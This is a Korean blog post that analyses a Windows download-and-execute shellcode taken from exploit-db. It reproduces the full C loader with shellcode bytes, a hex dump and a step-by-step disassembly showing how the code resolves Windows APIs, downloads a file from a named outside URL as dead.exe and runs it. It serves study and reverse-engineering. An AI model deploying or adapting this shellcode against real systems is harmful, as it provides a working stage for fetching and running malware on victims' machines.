상세 컨텐츠

본문 제목

URLDownloadToFile Shellcode Analysis

0x10 정보보안/0x15 System

by sweetchip 2014. 1. 23. 21:39

본문

반응형


매우 오랜만에 정보성 글을 쓰는것 같네요...


계속 대학교 예비대학 수업, BOB 특강 및 수업, BOB 팀 프로젝트, 개인공부 등등 많은일이 있어서 11월 부터는 많은 글을 쓰지 못했습니다.


3월이면.. BOB 2기의 전체 일정이 끝나니 지금보다는 여유로워 질것 같네요.


이번에는 exploit-db.com에 있는 Shellcode중 하나인 urldownloadtofile 쉘코드가 어떻게 동작하는지 방식과 구조를 분석해보려고 합니다.


대단한건 아니지만 대충 어떤 흐름으로 가는지 정도만 해보려고 하는데 필요한 분들께 도움이 되었으면 좋겟군요.


/*
Title: Allwin URLDownloadToFile WinExec ExitProcess Shellcode
Date: 2013-22-01
Author: RubberDuck
Web: http://bflow.security-portal.cz
http://www.security-portal.cz
Tested on: Win 2k, Win XP Home SP2/SP3 CZ (32), Win 7 (32/64)
-- file is downloaded from URL http://bflow.security-portal.cz/down/xy.txt
-- xy.txt - http://www.virustotal.com/file/7d0d68f8e378d5aa29620c749f797d1d5fa05356fbf6f9ca64ba00f00fe86182/analysis/1358866648/
-- xy.txt only shows MessageBox with text "Test application for Allwin URLDownloadToFile shellcode"
and title ">> Author: RubberDuck - http://bflow.security-portal.cz <<"
*/
#include
#include
int main(){
unsigned char shellcode[] =
"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B"
"\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53"
"\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81"
"\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04"
"\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64"
"\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3"
"\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3"
"\x8B\x14\x8E\x03\xD3\x33\xC9\x51\x68\x2E"
"\x65\x78\x65\x68\x64\x65\x61\x64\x53\x52"
"\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62"
"\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2"
"\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C"
"\x51\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C"
"\x6D\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24"
"\x04\x33\xC9\x51\x66\xB9\x65\x41\x51\x33"
"\xC9\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64"
"\x54\x68\x6F\x77\x6E\x6C\x68\x55\x52\x4C"
"\x44\x54\x50\xFF\xD2\x33\xC9\x8D\x54\x24"
"\x24\x51\x51\x52\xEB\x47\x51\xFF\xD0\x83"
"\xC4\x1C\x33\xC9\x5A\x5B\x53\x52\x51\x68"
"\x78\x65\x63\x61\x88\x4C\x24\x03\x68\x57"
"\x69\x6E\x45\x54\x53\xFF\xD2\x6A\x05\x8D"
"\x4C\x24\x18\x51\xFF\xD0\x83\xC4\x0C\x5A"
"\x5B\x68\x65\x73\x73\x61\x83\x6C\x24\x03"
"\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69"
"\x74\x54\x53\xFF\xD2\xFF\xD0\xE8\xB4\xFF"
"\xFF\xFF"
// http://bflow.security-portal.cz/down/xy.txt
"\x68\x74\x74\x70\x3A\x2F\x2F\x62"
"\x66\x6C\x6F\x77\x2E\x73\x65\x63\x75\x72"
"\x69\x74\x79\x2D\x70\x6F\x72\x74\x61\x6C"
"\x2E\x63\x7A\x2F\x64\x6F\x77\x6E\x2F\x78"
"\x79\x2E\x74\x78\x74\x00";
LPVOID lpAlloc = NULL;
void (*pfunc)();
lpAlloc = VirtualAlloc(0, 4096,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if(lpAlloc == NULL){
printf("Memory isn't allocated!\n");
return 0;
}
memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode) 1);
pfunc = (void (*)())lpAlloc;
pfunc();
return 0;
}
// http://www.exploit-db.com/exploits/24318/


위를 바이트코드로 변환한 모습입니다.


33 C9 64 8B 41 30 8B 40 0C 8B 70 14 AD 96 AD 8B 58 10 8B 53 3C 03 D3 8B 52 78 03 D3 8B 72 20 03 F3 33 C9 41 AD 03 C3 81 38 47 65 74 50 75 F4 81 78 04 72 6F 63 41 75 EB 81 78 08 64 64 72 65 75 E2 8B 72 24 03 F3 66 8B 0C 4E 49 8B 72 1C 03 F3 8B 14 8E 03 D3 33 C9 51 68 2E 65 78 65 68 64 65 61 64 53 52 51 68 61 72 79 41 68 4C 69 62 72 68 4C 6F 61 64 54 53 FF D2 83 C4 0C 59 50 51 66 B9 6C 6C 51 68 6F 6E 2E 64 68 75 72 6C 6D 54 FF D0 83 C4 10 8B 54 24 04 33 C9 51 66 B9 65 41 51 33 C9 68 6F 46 69 6C 68 6F 61 64 54 68 6F 77 6E 6C 68 55 52 4C 44 54 50 FF D2 33 C9 8D 54 24 24 51 51 52 EB 47 51 FF D0 83 C4 1C 33 C9 5A 5B 53 52 51 68 78 65 63 61 88 4C 24 03 68 57 69 6E 45 54 53 FF D2 6A 05 8D 4C 24 18 51 FF D0 83 C4 0C 5A 5B 68 65 73 73 61 83 6C 24 03 61 68 50 72 6F 63 68 45 78 69 74 54 53 FF D2 FF D0 E8 B4 FF FF FF 68 74 74 70 3A 2F 2F 62 66 6C 6F 77 2E 73 65 63 75 72 69 74 79 2D 70 6F 72 74 61 6C 2E 63 7A 2F 64 6F 77 6E 2F 78 79 2E 74 78 74 00


위 코드를 올리 디버거에 복사하고 분석합니다.


00402018 33C9 XOR ECX,ECX

0040201A 64:8B41 30 MOV EAX,DWORD PTR FS:[ECX 30]

0040201E 8B40 0C MOV EAX,DWORD PTR DS:[EAX C]

00402021 8B70 14 MOV ESI,DWORD PTR DS:[EAX 14]

00402024 AD LODS DWORD PTR DS:[ESI]

00402025 96 XCHG EAX,ESI

00402026 AD LODS DWORD PTR DS:[ESI]

00402027 8B58 10 MOV EBX,DWORD PTR DS:[EAX 10]

0040202A 8B53 3C MOV EDX,DWORD PTR DS:[EBX 3C]

0040202D 03D3 ADD EDX,EBX

0040202F 8B52 78 MOV EDX,DWORD PTR DS:[EDX 78]

00402032 03D3 ADD EDX,EBX

00402034 8B72 20 MOV ESI,DWORD PTR DS:[EDX 20]

00402037 03F3 ADD ESI,EBX

00402039 33C9 XOR ECX,ECX

0040203B 41 INC ECX

0040203C AD LODS DWORD PTR DS:[ESI]

0040203D 03C3 ADD EAX,EBX

0040203F 8138 47657450 CMP DWORD PTR DS:[EAX],50746547

00402045 ^75 F4 JNZ SHORT dead.0040203B

00402047 8178 04 726F6341 CMP DWORD PTR DS:[EAX 4],41636F72

0040204E ^75 EB JNZ SHORT dead.0040203B

00402050 8178 08 64647265 CMP DWORD PTR DS:[EAX 8],65726464

00402057 ^75 E2 JNZ SHORT dead.0040203B

00402059 8B72 24 MOV ESI,DWORD PTR DS:[EDX 24]

0040205C 03F3 ADD ESI,EBX

0040205E 66:8B0C4E MOV CX,WORD PTR DS:[ESI ECX*2]

00402062 49 DEC ECX

00402063 8B72 1C MOV ESI,DWORD PTR DS:[EDX 1C]

00402066 03F3 ADD ESI,EBX

00402068 8B148E MOV EDX,DWORD PTR DS:[ESI ECX*4]

0040206B 03D3 ADD EDX,EBX

0040206D 33C9 XOR ECX,ECX

0040206F 51 PUSH ECX

00402070 68 2E657865 PUSH 6578652E

00402075 68 64656164 PUSH 64616564

0040207A 53 PUSH EBX

0040207B 52 PUSH EDX

0040207C 51 PUSH ECX

0040207D 68 61727941 PUSH 41797261

00402082 68 4C696272 PUSH 7262694C

00402087 68 4C6F6164 PUSH 64616F4C

0040208C 54 PUSH ESP

0040208D 53 PUSH EBX

0040208E FFD2 CALL EDX

00402090 83C4 0C ADD ESP,0C

00402093 59 POP ECX

00402094 50 PUSH EAX

00402095 51 PUSH ECX

00402096 66:B9 6C6C MOV CX,6C6C

0040209A 51 PUSH ECX

0040209B 68 6F6E2E64 PUSH 642E6E6F

004020A0 68 75726C6D PUSH 6D6C7275

004020A5 54 PUSH ESP

004020A6 FFD0 CALL EAX

004020A8 83C4 10 ADD ESP,10

004020AB 8B5424 04 MOV EDX,DWORD PTR SS:[ESP 4]

004020AF 33C9 XOR ECX,ECX

004020B1 51 PUSH ECX

004020B2 66:B9 6541 MOV CX,4165

004020B6 51 PUSH ECX

004020B7 33C9 XOR ECX,ECX

004020B9 68 6F46696C PUSH 6C69466F

004020BE 68 6F616454 PUSH 5464616F

004020C3 68 6F776E6C PUSH 6C6E776F

004020C8 68 55524C44 PUSH 444C5255

004020CD 54 PUSH ESP

004020CE 50 PUSH EAX

004020CF FFD2 CALL EDX

004020D1 33C9 XOR ECX,ECX

004020D3 8D5424 24 LEA EDX,DWORD PTR SS:[ESP 24]

004020D7 51 PUSH ECX

004020D8 51 PUSH ECX

004020D9 52 PUSH EDX

004020DA EB 47 JMP SHORT dead.00402123

004020DC 51 PUSH ECX

004020DD FFD0 CALL EAX

004020DF 83C4 1C ADD ESP,1C

004020E2 33C9 XOR ECX,ECX

004020E4 5A POP EDX

004020E5 5B POP EBX

004020E6 53 PUSH EBX

004020E7 52 PUSH EDX

004020E8 51 PUSH ECX

004020E9 68 78656361 PUSH 61636578

004020EE 884C24 03 MOV BYTE PTR SS:[ESP 3],CL

004020F2 68 57696E45 PUSH 456E6957

004020F7 54 PUSH ESP

004020F8 53 PUSH EBX

004020F9 FFD2 CALL EDX

004020FB 6A 05 PUSH 5

004020FD 8D4C24 18 LEA ECX,DWORD PTR SS:[ESP 18]

00402101 51 PUSH ECX

00402102 FFD0 CALL EAX

00402104 83C4 0C ADD ESP,0C

00402107 5A POP EDX

00402108 5B POP EBX

00402109 68 65737361 PUSH 61737365

0040210E 836C24 03 61 SUB DWORD PTR SS:[ESP 3],61

00402113 68 50726F63 PUSH 636F7250

00402118 68 45786974 PUSH 74697845

0040211D 54 PUSH ESP

0040211E 53 PUSH EBX

0040211F FFD2 CALL EDX

00402121 FFD0 CALL EAX

00402123 E8 B4FFFFFF CALL dead.004020DC

00402128 68 7474703A PUSH 3A707474

0040212D 2F DAS

0040212E 2F DAS

0040212F 6266 6C BOUND ESP,QWORD PTR DS:[ESI 6C]

00402132 6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command

00402133 77 2E JA SHORT dead.00402163

00402135 73 65 JNB SHORT dead.0040219C

00402137 6375 72 ARPL WORD PTR SS:[EBP 72],SI

0040213A 697479 2D 706F72>IMUL ESI,DWORD PTR DS:[ECX EDI*2 2D],747>

00402142 61 POPAD

00402143 6C INS BYTE PTR ES:[EDI],DX ; I/O command

00402144 2E:637A 2F ARPL WORD PTR CS:[EDX 2F],DI

00402148 64:6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command

0040214A 77 6E JA SHORT dead.004021BA

0040214C 2F DAS

0040214D 78 79 JS SHORT dead.004021C8

0040214F 2E:74 78 JE SHORT dead.004021CA ; Superfluous prefix

00402152 74 00 JE SHORT dead.00402154


디스어셈블된 전체 결과 [후반부는 download할 url link이므로 정상적인 코드가 아닙니다.]


그러면 조금씩 구역을 나눠서 살펴보겠습니다.


00402015 90 NOP

00402016 90 NOP

00402017 90 NOP

00402018 33C9 XOR ECX,ECX

0040201A 64:8B41 30 MOV EAX,DWORD PTR FS:[ECX 30]

0040201E 8B40 0C MOV EAX,DWORD PTR DS:[EAX C]

00402021 8B70 14 MOV ESI,DWORD PTR DS:[EAX 14]

00402024 AD LODS DWORD PTR DS:[ESI]

00402025 96 XCHG EAX,ESI

00402026 AD LODS DWORD PTR DS:[ESI]

00402027 8B58 10 MOV EBX,DWORD PTR DS:[EAX 10] ; get baseaddr of kernel32.dll

0040202A 8B53 3C MOV EDX,DWORD PTR DS:[EBX 3C] ; offset to 'PE'

0040202D 03D3 ADD EDX,EBX

0040202F 8B52 78 MOV EDX,DWORD PTR DS:[EDX 78] ; image_export_directory

00402032 03D3 ADD EDX,EBX

00402034 8B72 20 MOV ESI,DWORD PTR DS:[EDX 20] ; name pointer table

00402037 03F3 ADD ESI,EBX

00402039 33C9 XOR ECX,ECX

0040203B 41 INC ECX

0040203C AD LODS DWORD PTR DS:[ESI]

0040203D 03C3 ADD EAX,EBX

0040203F 8138 47657450 CMP DWORD PTR DS:[EAX],50746547 ; is GetProcAddress

00402045 ^75 F4 JNZ SHORT dead.0040203B

00402047 8178 04 726F6341 CMP DWORD PTR DS:[EAX 4],41636F72

0040204E ^75 EB JNZ SHORT dead.0040203B

00402050 8178 08 64647265 CMP DWORD PTR DS:[EAX 8],65726464

00402057 ^75 E2 JNZ SHORT dead.0040203B



위는 PEB를 이용하여 kernel32.dll의 BaseAddress 를 가져오고 간단한 연산을 통해서 GerProcAddress의 주소를 가져오게 됩니다.


00402059 8B72 24 MOV ESI,DWORD PTR DS:[EDX 24]

0040205C 03F3 ADD ESI,EBX

0040205E 66:8B0C4E MOV CX,WORD PTR DS:[ESI ECX*2]

00402062 49 DEC ECX

00402063 8B72 1C MOV ESI,DWORD PTR DS:[EDX 1C]

00402066 03F3 ADD ESI,EBX

00402068 8B148E MOV EDX,DWORD PTR DS:[ESI ECX*4]

0040206B 03D3 ADD EDX,EBX

0040206D 33C9 XOR ECX,ECX

0040206F 51 PUSH ECX

00402070 68 2E657865 PUSH 6578652E

00402075 68 64656164 PUSH 64616564

0040207A 53 PUSH EBX

0040207B 52 PUSH EDX

0040207C 51 PUSH ECX

0040207D 68 61727941 PUSH 41797261

00402082 68 4C696272 PUSH 7262694C

00402087 68 4C6F6164 PUSH 64616F4C

0040208C 54 PUSH ESP

0040208D 53 PUSH EBX

0040208E FFD2 CALL EDX ; getprocaddress("LoadLibraryA")


위는 urldownloadtofilea 함수가 존재하는 urlmon.dll을 로딩하기 위해서 LoadLibraryA의 주소를 방금 얻은 GetProcAddress로 가져오게 됩니다.


00402090 83C4 0C ADD ESP,0C

00402093 59 POP ECX

00402094 50 PUSH EAX

00402095 51 PUSH ECX

00402096 66:B9 6C6C MOV CX,6C6C

0040209A 51 PUSH ECX

0040209B 68 6F6E2E64 PUSH 642E6E6F

004020A0 68 75726C6D PUSH 6D6C7275

004020A5 54 PUSH ESP

004020A6 FFD0 CALL EAX ; LoadLibraryA("urlmon.dll")


LoadLibraryA의 주소를 가져오게 되면 LoadLibrary를 사용하여 urlmon.dll 파일을 로딩하게 됩니다.


004020A8 83C4 10 ADD ESP,10

004020AB 8B5424 04 MOV EDX,DWORD PTR SS:[ESP 4]

004020AF 33C9 XOR ECX,ECX

004020B1 51 PUSH ECX

004020B2 66:B9 6541 MOV CX,4165

004020B6 51 PUSH ECX

004020B7 33C9 XOR ECX,ECX

004020B9 68 6F46696C PUSH 6C69466F

004020BE 68 6F616454 PUSH 5464616F

004020C3 68 6F776E6C PUSH 6C6E776F

004020C8 68 55524C44 PUSH 444C5255

004020CD 54 PUSH ESP

004020CE 50 PUSH EAX

004020CF FFD2 CALL EDX ; GetProcAddress("URLDownloadToFileA")


urlmon.dll 이 성공적으로 로딩되면 GetProcAddress를 이용하여 URLDownloadToFileA 라는 함수의 주소를 가져올수 있게 되므로


다시 GetProcAddress("URLDownloadToFileA")를 호출합니다.


004020D1 33C9 XOR ECX,ECX

004020D3 8D5424 24 LEA EDX,DWORD PTR SS:[ESP 24]

004020D7 51 PUSH ECX

004020D8 51 PUSH ECX

004020D9 52 PUSH EDX

004020DA EB 47 JMP SHORT dead.00402123

004020DC 51 PUSH ECX

004020DD FFD0 CALL EAX ; urldownloadtofile(NULL, url, dead.exe, NULL, NULL)


그러면 이제 얻어온 URLDownloadToFile의 주소와 미리 준비해둔 인자들을 push하고 call로 함수를 호출합니다.


최종적으로 호출되는 함수와 인자는 URLDownloadToFileA(NULL, "http://[생략]", "dead.exe", NULL, NULL) 입니다.


004020DF 83C4 1C ADD ESP,1C

004020E2 33C9 XOR ECX,ECX

004020E4 5A POP EDX

004020E5 5B POP EBX

004020E6 53 PUSH EBX

004020E7 52 PUSH EDX

004020E8 51 PUSH ECX

004020E9 68 78656361 PUSH 61636578

004020EE 884C24 03 MOV BYTE PTR SS:[ESP 3],CL

004020F2 68 57696E45 PUSH 456E6957

004020F7 54 PUSH ESP

004020F8 53 PUSH EBX

004020F9 FFD2 CALL EDX ; GetProcAddress("WinExec")


위 코드가 실행되기 전 URLDownloadToFileA 함수가 실행되어 현재 프로그램가 있는 같은폴더에 dead.exe가 다운로드 받아지는데 그것을 실행시키기 위하여


WinExec 함수주소를 얻어야 합니다. 그러기위해서 또 다시 GetProcAddress("WinExec") 함수를 호출합니다.


004020FB 6A 05 PUSH 5

004020FD 8D4C24 18 LEA ECX,DWORD PTR SS:[ESP 18]

00402101 51 PUSH ECX

00402102 FFD0 CALL EAX ; WinExec("dead.exe")


얻어온 주소를 이용하여 SW_SHOW 속성으로 dead.exe를 실행합니다.


00402104 83C4 0C ADD ESP,0C

00402107 5A POP EDX

00402108 5B POP EBX

00402109 68 65737361 PUSH 61737365

0040210E 836C24 03 61 SUB DWORD PTR SS:[ESP 3],61

00402113 68 50726F63 PUSH 636F7250

00402118 68 45786974 PUSH 74697845

0040211D 54 PUSH ESP

0040211E 53 PUSH EBX

0040211F FFD2 CALL EDX ; GetProcAddress("ExitProcess")


막바지 작업인 부모 프로세스를 종료시키기 위해서 ExitProcess의 주소를 GetProcAddress로 얻어옵니다.


00402121 FFD0 CALL EAX ; ExitProcess() - End Of Shellcode


GetProcAddress를 이용하면 EAX에 ExitProcess의 주소값이 저장되는데


곧바로 Call Eax로 ExitProcess를 호출해서 프로그램을 종료시킵니다.


00402123 E8 B4FFFFFF CALL dead.004020DC ; exitprocess를 실행했을 경우 호출되지 않음.

00402128 68 7474703A PUSH 3A707474 ; 이하 http:// ~~~ 텍스트를 디스어셈블 한 결과임.

0040212D 2F DAS

0040212E 2F DAS

0040212F 6266 6C BOUND ESP,QWORD PTR DS:[ESI 6C]

00402132 6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command

00402133 77 2E JA SHORT dead.00402163

00402135 73 65 JNB SHORT dead.0040219C

00402137 6375 72 ARPL WORD PTR SS:[EBP 72],SI

0040213A 697479 2D 706F72>IMUL ESI,DWORD PTR DS:[ECX EDI*2 2D],747>

00402142 61 POPAD

00402143 6C INS BYTE PTR ES:[EDI],DX ; I/O command

00402144 2E:637A 2F ARPL WORD PTR CS:[EDX 2F],DI

00402148 64:6F OUTS DX,DWORD PTR ES:[EDI] ; I/O command

0040214A 77 6E JA SHORT dead.004021BA

0040214C 2F DAS

0040214D 78 79 JS SHORT dead.004021C8

0040214F 2E:74 78 JE SHORT dead.004021CA ; Superfluous prefix

00402152 74 00 JE SHORT dead.00402154


이는 아래 코드들인데 call 004020dc는 ExitProcess가 성공적으로 실행됬을 경우엔 실행되지 않습니다.


그리고 00402128 이후의 디스어셈블된 결과들은 전부다 정상코드들이 아닌 문자열 'http://bflow.security-portal.cz/down/xy.txt' 를 디스어셈블한 결과입니다.


##################################################################################################################################


최종 정리를 해보자면


1. kernel32 의 base주소를 가져온다.

2. GetProcAddress 주소를 가져온다.

3. LoadLibrary 주소를 가져온다.

4. urlmon.dll을 LoadLibrary 를 이용하여 프로세스에 로딩시킨다.

5. URLDonwloadToFileA 의 주소를 가져온다.

6. 5에서 가져온 주소를 이용하여 http://bflow.security-portal.cz/down/xy.txt 의 파일을 dead.exe 로 저장한다.

7. WinExec의 주소를 가져온다.

8. dead.exe를 WinExec로 실행한다.



9. ExitProcess의 주소를 가져온다.

10. ExitProcess를 실행시켜 프로그램을 종료시킨다.


이렇게 10단계로 구분할 수 있습니다.


##################################################################################################################################


며칠간 폐인이 된 머리를 잠깐이나마 쉬게 할수 있게 되엇네요 ㅎㅎㅎㅎ

나중에 쉘코드 만드는 분들께 도움이 되었으면 좋겠습니다. [물론 공부나 버그헌팅같이 좋은쪽으로 ^^]


또한 쉘코드 url을 모자이크 처리하지 않은 이유는 exploit-db에 올려진 글이고 신뢰성이있고 악성 파일이 아니기 때문임을 알립니다.


반응형

관련글 더보기